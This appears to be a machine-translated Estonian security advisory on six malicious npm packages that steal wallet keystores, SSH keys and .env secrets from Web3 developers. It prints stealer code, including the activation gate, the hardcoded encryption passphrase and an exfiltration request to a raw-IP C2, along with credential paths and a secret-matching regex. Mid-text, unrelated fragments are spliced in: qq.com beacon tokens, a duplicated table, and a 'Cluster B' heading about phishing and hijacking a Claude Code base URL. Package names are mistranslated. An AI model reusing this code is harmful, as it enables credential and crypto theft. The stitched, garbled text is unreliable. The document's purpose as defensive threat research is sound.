TL; DR
6. mail 2026 üksainus npm-i väljaandja namikazesarada010206, avaldas kuus pahatahtlikku paketti, mis olid suunatud Ethereumi, Solidity ja DeFi arendajate ökosüsteemile.
Pakid, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsja web3-utils-core, kasutas usutavaid nimesid, mis olid loodud välja nägema nagu populaarsete Web3 tööriistade abiteekid.
Kõik kuus pakki sisaldasid sama telemetry.js fail. Fail oli klastri ulatuses baitide poolest identne, SHA-256-ga:
Pahavara ei käivitu installimise ajal. Puudub preinstall or postinstall konks. Selle asemel aktiveerub see siis, kui pakett imporditakse läbi require().
See detail on oluline.
Implant ootab, kuni arendaja paketti tegelikult kasutab. Seejärel kontrollib see, kas tööjaam näeb välja nagu päris Ethereumi / Solidity arenduskeskkond. See otsib Alchemy või Infura võtmeid, privaatvõtmeid, mnemoonikaid, juurutaja võtmeid või kohalikku Foundry kataloogi.
Kui host sobib, kogub varas SSH privaatvõtmed, Foundry / Geth / Brownie rahakoti võtmehoidlad, .env* faile ja tundlikke keskkonnamuutujaid. See krüpteerib paketi AES-256-GCM-iga, kasutades kõvakodeeritud parooli, ja filtreerib selle toores IPv4 C2 lõpp-punkti, millel on TLS-i verifitseerimine keelatud.
Xygeni pahavara varajase hoiatamise süsteem (MEW) kinnitas kõigi kuue paketi pahatahtlikuks olemist. npm-i registri eemaldamise aruannete pakett on ootel.
Klaster: kuus paketti, üks kirjastaja
Väljaandja konto namikazesarada010206 oli lingitud kinnitamata Gmaili aadressiga namikazesarada010206@gmail.com.
Kampaania ilmus ühepäevase väljaandena 6. mail 2026. Kõik kuus paketti versiooniti järgmiselt: 1.0.0, ei olnud käitusaja sõltuvusi ja saatis ainult kolm faili:
package.json index.js telemetry.js Samuti deklareerisid nad sama lähtekoodihoidla:
https://github.com/harunosakura030303-maker/evmchain-config Esimesed kolm paketti tabasid MEW skannerid esmakordsel avaldamisel. Ülejäänud kolm märgistati sundmärgiga pärast seda, kui analüütikud olid kirjastaja npm-profiili üle vaadanud. Kui sama baitidentne telemetry.js kinnitati kogu klastris, suleti need järjepidevuse tõttu pahatahtlikena.
| Pakend | versioon | npm Avaldatud | MEW pilet | otsus |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Kuritahtlik |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Kuritahtlik |
| hardhat-core-utiliidid | 1.0.0 | 2026-05-06 | #51051 | Kuritahtlik |
| evm-utiliidid | 1.0.0 | 2026-05-06 | #51069 | Pahatahtlik, järjepidevuse tõttu |
| valukoja utiliidid | 1.0.0 | 2026-05-06 | #51071 | Pahatahtlik, järjepidevuse tõttu |
| web3-utiliidid-tuum | 1.0.0 | 2026-05-06 | #51070 | Pahatahtlik, järjepidevuse tõttu |
Nimetamisstrateegia on lihtne, kuid tõhus.
Need paketid ei jäljenda täpseid ülesvoolu nimesid. Selle asemel kasutavad nad usutavaid „utiliidi” järelliiteid, näiteks -core, -utilsja -utils-coreSee paneb need välja nägema nagu kaasraamatukogud, mida arendaja võiks Web3 tööriistade läheduses oodata.
| Pahatahtlik pakett | Õigustatud sihtmärk |
|---|---|
| viem-core | viem, populaarne Ethereumi TypeScripti klient |
| viem-utils-core | viem |
| hardhat-core-utiliidid | Hardhat, Solidity peamine arenduskeskkond |
| evm-utiliidid | Üldine EVM-tööriistade nimeruum |
| valukoja utiliidid | valukoda, Solidity tööriistakett |
| web3-utiliidid-tuum | web3-utiliidid, Web3.js abilised |
See on „lisapaketi“ muster: mitte „mina olen päris pakk“, vaid „ma näen välja nagu mõistlik abiline päris paketi kõrval“.
DeFi arendajate jaoks, kes tegutsevad kiiresti, on see piisav riski tekitamiseks.
Mis juhtub, kui pakk imporditakse
Rünnakuahel on väike, tahtlik ja keskendub krüptovaluutade arenduskeskkondadele.
Paigalduskonksu pole. Selle asemel sisaldab iga pakend index.js mis ekspordib tüve funktsionaalsuse ja seejärel laadib pahatahtliku telemeetriamooduli.
require('./telemetry').init(); See tähendab, et pahavara aktiveerub esimesel importimisel.
See on ründajale operatiivselt kasulik. Paljud skannerid ja liivakastid keskenduvad installiaegsele käitumisele. See pakett ootab, kuni arendaja, ehitusskript, testimiskomplekt või käitusaja rada seda tegelikult kasutab.
Aktiveerimisvärav: käivitub ainult päris Web3 arendaja tööjaamades
Implantaadi kõige olulisem osa on aktiveerimisvärav.
Pahavara kontrollib keskkonnamuutujaid, mida tavaliselt leidub Ethereumi/Solidity arendajate masinates:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Samuti kontrollib see, kas Foundry näib olevat installitud:
fs.existsSync(path.join(os.homedir(), '.foundry')) Kui kumbki tingimus pole tõene, tagastab funktsioon väärtuse ja ei tee midagi.
See muudab paketi vaiksemaks üldistes analüüsikeskkondades. Liivakast ilma Foundry, Alchemy võtmete, Infura võtmete, privaatvõtmete või mnemoonikata võib näha kahjutu välimusega importi.
Sobiva hostiga seadmel ootab pahavara enne kogumist 60–90 sekundit:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Viivitus vähendab ilmset korrelatsiooni impordi ja väljaviimise vahel. .unref() kutse võimaldab ka hostprotsessil tavapäraselt väljuda, kui pakett imporditi lühiajalise skriptina.
See ei ole lärmakas „purusta ja haara“ käitumine. See on sihitud varastav objekt, mis on loodud töötamist vältima, kui arendajakeskkond pole varastamist väärt.
Mida varas kogub
Kui aktiveerimisvärav on läbitud, kogub pahavara teavet allikatest, mis on Web3 arenduses kõige olulisemad: privaatvõtmed, rahakoti võtmehoidlad, juurutamise volitused, pilvesaladused, npm-tokenid ja kohaliku projekti konfiguratsioon.
| allikas | Mida kogutakse |
|---|---|
| protsess.keskkond | Mistahes muutuja, mis vastab /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Failid, mis sisaldavad PRIVATE KEY või BEGIN OPENSSH käsku, sh faili täielik sisu |
| ~/.foundry/võtmehoidlad/* | Foundry rahakoti võtmehoidla failid |
| ~/.ethereum/võtmehoidla/* | Gethi rahakoti võtmesalvestusfailid |
| ~/.brownie/kontod/* | Brownie rahakoti võtmehoidla failid |
| ${cwd}/.env | Täielik faili sisu |
| ${cwd}/.env.local | Täielik faili sisu |
| ${cwd}/.env.production | Täielik faili sisu |
| ${cwd}/.env.development | Täielik faili sisu |
| os.hostname() | Hosti metaandmed |
| krüpto.juhuslikUUID() | Ohvri/seansi identifikaator |
| Kuupäev.nüüd() | Kogumise ajatempel |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA märgid on:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Me ei ole suutnud kinnitada, kas telemeetria pärines operaatori enda analüütikast või eraldi monetiseeritud kanalilt. ATTA tokenid on mõlemas meie uuritud valimis samad.
Klaster B: heibai
claude.hk OAuthi andmepüük + ANTHROPIC_BASE_URL-i kaaperdamine
1. aprilli valim on kampaania toores ja varasem osa.
heibai:2.1.88-claude.hk-4 avaldas wuguoqiangvip28, konto, mis loodi 7. juunil 2025. Pakett versioonis end selgesõnaliselt legitiimse saidi vastu 2.1.88 Antroopne vabanemine.
See ei vaeva end CA-sertifikaadi MITM-iga. Selle asemel valetab see kasutajale OAuthi lõpp-punkti kohta.
Lekkinud Claude Code'i lähtekoodi pahatahtlikud lisandused hõlmavad järgmist:
| allikas | Mida kogutakse |
|---|---|
| protsess.keskkond | Mistahes muutuja, mis vastab /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Failid, mis sisaldavad PRIVATE KEY või BEGIN OPENSSH käsku, sh faili täielik sisu |
| ~/.foundry/võtmehoidlad/* | Foundry rahakoti võtmehoidla failid |
| ~/.ethereum/võtmehoidla/* | Gethi rahakoti võtmesalvestusfailid |
| ~/.brownie/kontod/* | Brownie rahakoti võtmehoidla failid |
| ${cwd}/.env | Täielik faili sisu |
| ${cwd}/.env.local | Täielik faili sisu |
| ${cwd}/.env.production | Täielik faili sisu |
| ${cwd}/.env.development | Täielik faili sisu |
| os.hostname() | Hosti metaandmed |
| krüpto.juhuslikUUID() | Ohvri/seansi identifikaator |
| Kuupäev.nüüd() | Kogumise ajatempel |
Sihtmärkide loend on väga spetsiifiline. See ei ole üldine brauserivargus ega laiaulatuslik volituste kraapimine. See on suunatud arendajatele, kes loovad, testivad, juurutavad või haldavad Ethereumi rakendusi.
Foundry, Gethi ja Brownie võtmehoidlate kaasamine on eriti oluline. Need failid võivad esindada otsest juurdepääsu rahakottidele või juurutamise identiteetidele. Kui ründaja suudab need siduda paroolide, mnemoonika või keskkonnasaladustega, võib ta olla võimeline raha liigutama, juurutajaid jäljendama või nutikate lepingute toiminguid ohtu seadma.
Krüptimine enne väljafiltreerimist
Pahavara krüpteerib kogutud andmed enne nende saatmist.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Kõvakodeeritud parool on:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Lõplik kasulik koormus pakitakse JSON-vormingusse:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Krüpteerimine iseenesest ei muuda pahavara keerukamaks. Küll aga raskendab see võrgu kontrollimist. Väljuvat võrku jälgiv kaitsja näeks küll JSON-faili, aga mitte varastatud võtmeid, rahakotifaile ega muid andmeid. .env sisu ilma kõvakodeeritud paroolifraasi ja dekrüpteerimisloogikata.
Eksfiltratsioon töötlemata IPv4 C2-sse
Eksfiltratsioonitee on kõvakodeeritud:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Pahavara saadab andmeid järgmistele kohtadele:
https://76.13.37.80:8443/api/v1/telemetry Kaks detaili torkavad silma.
Esiteks on C2 toores IPv4-aadress, mitte domeen. See välistab domeeni registreerimise vajaduse ja väldib mõningaid domeenipõhiseid tuvastamisi.
Teiseks, TLS-i kinnitamine on keelatud järgmiselt:
rejectUnauthorized: false See võimaldab pahavaral aktsepteerida mis tahes sertifikaate, sealhulgas iseallkirjastatud sertifikaate. Teisisõnu, ründaja saab krüpteeritud transpordi ilma kehtiva avaliku sertifikaadita.
Puudub uuesti proovimise loogika ja varuhost. Vead neelatakse vaikselt alla. See hoiab paketi vaikselt, kui C2 on võrguühenduseta või kättesaamatu.
Miks see kampaania on oluline?
Enamik arendajatele suunatud pahatahtlikke npm-pakette jahivad laiaulatuslikke volitusi: npm-tokenid, AWS-võtmed, GitHubi tokenid või .npmrc faile.
See kampaania kitsendab sihtrühma.
See otsib märke, et masin kuulub Ethereumi või Solidity arendajale. Seejärel hangib see välja täpselt need varad, mis selles keskkonnas olulised on: rahakoti võtmehoidlad, privaatvõtmed, mnemoonika, juurutaja võtmed. .env failid ja SSH-võtmed.
See muudab kampaania Web3 meeskondade jaoks ohtlikumaks kui tavaline NPM-i varastaja.
Edukas nakatumine võib paljastada:
- Juurutusrahakotid
- Nutika lepingu administraatori võtmed
- RPC-pakkuja võtmed
- Pilve juurutamise mandaadid
- npm avaldamismärgid
- SSH-juurdepääs arendaja või ehituse infrastruktuurile
- Projektisaladused salvestatud
.envfailid - Foundry, Gethi või Brownie rahakoti võtmehoidlad
Ka paketinimed näitavad selgelt sotsiaalset manipuleerimist. Need on suunatud Web3 arendajate ökosüsteemile tuttavate tööriistanimede kaudu: viem, hardhat, foundry, evmja web3.
Tegelane ei pea päris projekte ohtu seadma. Nad vajavad vaid arendajat, kes installiks näiliselt mõistliku kaaspaketi.
Kompromiteerimise ja avastamise näitajad
| Paketid ja avaldaja | |
|---|---|
| Väli | Väärtus |
| npm-i väljaandja | namikazesarada010206 |
| Väljaandja e-posti aadress | namikazesarada010206@gmail.com |
| E-post kinnitatud | Ei |
| SCM kinnitatud | Ei |
| Maine skoor | 1.0 |
| Paketid | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, valukoda, web3-utils-core |
| Variandid | Kõik 1.0.0 |
| Allikahoidla | https://github.com/harunosakura030303-maker/evmchain-config |
| Kinnitatud pahatahtlikkus | Kõik kuus paketti |
| võrk | |
|---|---|
| KASUTUSALA | Väärtus |
| C2 lõpp-punkt | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2-port | 8443/tcp |
| TLS-i käitumine | rejectUnauthorized: false |
| Kasuliku koormuse skeem | {"v":2,"iv": ,"d": ,"t": } |
| Failid ja räsiväärtused | |
|---|---|
| KASUTUSALA | Väärtus |
| telemeetria.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Pakendi paigutus | pakett.json, index.js, telemeetria.js |
| Failide arv | 3 |
| Ligikaudne kogusuurus | 3.4 KB |
Aktiveerimissignaalid
Pahavara kontrollib järgmisi keskkonnamuutujaid:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Samuti kontrollib see:
~/.foundry/ Sihtkoha hosti teed
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Kogumiku regulaaravaldised
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Tuvastusmärkused
Selle kampaania puhul on mitmeid reegleid, mis võimaldavad täielikku käitumisanalüüsi.
Esmalt skannige lukustusfaile kuue pahatahtliku paketinime suhtes:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Iga matš package-lock.json, yarn.lock, pnpm-lock.yamlvõi node_modules Ajalugu tuleks käsitleda tõsise sündmusena.
Teiseks, jälgige Node.js protsesse, mis loevad rahakoti võtmehoidla teid:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ See on harva õigustatud käitumine abistava sõltuvusena imporditud paketi puhul. See on eriti kahtlane, kui sellele järgneb väljaminev võrgutegevus.
Kolmandaks, blokeerige või teavitage HTTPS-ühendusi järgmistega:
76.13.37.80:8443 Eriti kui päringu tee on:
/api/v1/telemetry Neljandaks, otsige npm-pakette, mis ühendavad need omadused:
- Värske või madala mainega kirjastaja
- Kinnitamata Gmaili konto
- Web3-ga külgneva paketi nimi
- Puudub oluline hoidla ajalugu
- Pisikese pakendi paigutus
index.jsmis laadib telemeetria- või abifaili- Käitusaja sõltuvused puuduvad
- Tundlike keskkonnamuutujate kogu
- Rahakoti võtmehoidla juurdepääs
See muster on kasulikum kui üks IOC, sest järgmine pakett võib IP-aadressi muuta, kuid säilitada sama sihtimisloogika.
Kompromissvastuse kontrollnimekiri
Kui arendaja kasutas ühte kuuest paketist ja tema keskkond vastas aktiveerimisväravale, käsitlege tööjaama ohustatuna.
See hõlmab masinaid, millele on installitud Foundry, keskkonnas olevaid Alchemy või Infura võtmeid, privaatvõtmeid, mnemoonikaid või juurutamisvõtmeid.
Soovitatav vastus:
- Ühenda host võrgust lahti.
- Säilitage
node_modules, lukustusfailid, kesta ajalugu ja kohtuekspertiisi jaoks olulised logid. - Vaheta iga SSH-võtmepaari all
~/.ssh/. - Vaheta rahakoti võtmeid iga võtmehoidla jaoks
~/.foundry,~/.ethereumja~/.brownie. - Kanna raha uutesse rahakottidesse.
- Pöörake iga salvestatud saladust
.env*failid hoidlates, kus arendaja töötas. - Vaheta keskkonnasaladusi, mis vastavad kogumi regulaaravaldisele, sh AWS-võtmed, npm-tokenid, juurutamistokenid, API-võtmed, privaatvõtmed, seemned ja mnemoonika.
- Auditeeri pilve, npm-i, GitHubi, RPC-pakkuja ja plokiahela tegevust alates paketi esmakordsest installimisest.
- Enne taaskasutamist looge tööjaamast uuesti pildikujutis.
Mida kaitsjad peaksid kaasa võtma
See kampaania näitab, kuidas npm-i tüposkvatt areneb kõrge väärtusega arendajate ökosüsteemides.
Tegelane ei vajanud järjekindlust. Nad ei vajanud hägustamist. Nad ei vajanud isegi installiaegset käivitamist.
Selle asemel toetusid nad kolmele asjale:
- Usaldusväärsed Web3 paketinimed
- Aktiveerimine ainult päris krüptovaluutade arendusmasinatel
- Ethereumi arendajatele kõige olulisemate failide ja saladuste otsene vargus
See muudab kampaania laiaulatuslikul skaneerimisel kergesti märkamatuks ja ohtlikuks, kui see maandub õigesse keskkonda.
Web3 meeskondade jaoks on õppetund selge: käsitle sõltuvuste nimesid osana oma ohumudelist. Pakett, mis näeb välja nagu süütu abiprogramm, võib ikkagi olla lühim tee rahakoti ohtu sattumiseni.
Teatatud npm registrile. Värskendame seda postitust, kui avaldaja konto ja paketid on eemaldatud.




